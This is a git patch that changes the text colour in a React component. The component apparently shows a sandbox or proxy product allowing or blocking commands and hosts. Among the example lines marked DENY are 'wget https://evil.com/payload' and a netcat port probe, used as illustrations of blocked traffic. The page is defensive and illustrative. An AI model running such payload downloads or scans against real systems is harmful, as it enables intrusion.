From b1d0c95232d49842e51071d79922e798095bc964 Mon Sep 17 00:00:00 2001
From: Nik L <lokhmachevnikita@gmail.com>
Date: Thu, 16 Apr 2026 11:28:58 -0400
Subject: [PATCH] fix: text not visible

---
 components/control.tsx | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/components/control.tsx b/components/control.tsx
index 1ca167d..0185fff 100644
--- a/components/control.tsx
+++ b/components/control.tsx
@@ -98,19 +98,19 @@ export function Control() {
                 </div>
                 <div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
                   <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
-                    <span className="text-greyhaven-offwhite truncate">curl https://api.anthropic.com</span>
+                    <span className="text-foreground truncate">curl https://api.anthropic.com</span>
                     <span className="text-emerald-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
                   </div>
                   <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
-                    <span className="text-greyhaven-offwhite truncate">npm install lodash</span>
+                    <span className="text-foreground truncate">npm install lodash</span>
                     <span className="text-emerald-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
                   </div>
                   <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
-                    <span className="text-greyhaven-offwhite truncate">wget https://evil.com/payload</span>
+                    <span className="text-foreground truncate">wget https://evil.com/payload</span>
                     <span className="text-red-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
                   </div>
                   <div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
-                    <span className="text-greyhaven-offwhite truncate">nc -z 10.0.0.1 22</span>
+                    <span className="text-foreground truncate">nc -z 10.0.0.1 22</span>
                     <span className="text-red-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
                   </div>
                 </div>
@@ -137,19 +137,19 @@ export function Control() {
                 </div>
                 <div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
                   <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
-                    <span className="text-greyhaven-offwhite truncate">api.anthropic.com</span>
+                    <span className="text-foreground truncate">api.anthropic.com</span>
                     <span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
                   </div>
                   <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
-                    <span className="text-greyhaven-offwhite truncate">registry.npmjs.org</span>
+                    <span className="text-foreground truncate">registry.npmjs.org</span>
                     <span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
                   </div>
                   <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
-                    <span className="text-greyhaven-offwhite truncate">evil.com (direct)</span>
+                    <span className="text-foreground truncate">evil.com (direct)</span>
                     <span className="text-red-300 text-[10px] shrink-0">KERNEL DENY</span>
                   </div>
                   <div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
-                    <span className="text-greyhaven-offwhite truncate">analytics.vendor.io</span>
+                    <span className="text-foreground truncate">analytics.vendor.io</span>
                     <span className="text-red-300 text-[10px] shrink-0">PROXY DENY</span>
                   </div>
                 </div>
@@ -185,11 +185,11 @@ export function Control() {
               </div>
               <div className="mt-3 flex items-center gap-3 min-w-0">
                 <span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
-                <span className="text-greyhaven-offwhite truncate">git commit -m &quot;fix: types&quot;</span>
+                <span className="text-foreground truncate">git commit -m &quot;fix: types&quot;</span>
               </div>
               <div className="flex items-center gap-3 min-w-0">
                 <span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
-                <span className="text-greyhaven-offwhite truncate">npm install lodash</span>
+                <span className="text-foreground truncate">npm install lodash</span>
               </div>
             </div>
             <p className="text-xs text-muted-foreground font-serif mt-4">